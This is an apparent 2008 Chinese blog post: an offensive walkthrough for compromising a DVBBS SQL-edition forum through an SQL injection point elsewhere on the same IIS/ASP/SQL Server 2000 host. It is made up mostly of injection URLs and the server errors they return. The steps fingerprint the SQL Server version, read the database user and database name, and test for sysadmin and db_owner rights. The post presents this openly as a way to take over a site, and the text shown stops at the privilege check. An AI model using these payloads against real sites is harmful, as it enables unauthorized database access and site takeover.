SQL注入入侵动网SQL版论坛

现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。

  一、 首先确定目标

  假设以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.loveyou.com/type.aspid=6' 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。

  继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'Microsoft SQL Server
2000 - 8.00.760 (Intel X86) Dec 17 2002
14:22:05 Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。

  看来已经打上最新的SP4补丁。

  取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())--

  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。

  从错误信息中得到当前数据库用户为:webuser
  取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())--

  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。

  从错误信息中得到当前数据库名为: 01city

  接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)
http://www.loveyou.com/type.asp?id=
(SELECT IS_SRVROLEMEMBER('sysadmin'))--

  返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=
(SELECT%20IS_MEMBER('db_owner'))--

  正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。

posted on 2008-03-17 13:44  永无止境  阅读(381)  评论(1编辑  收藏  举报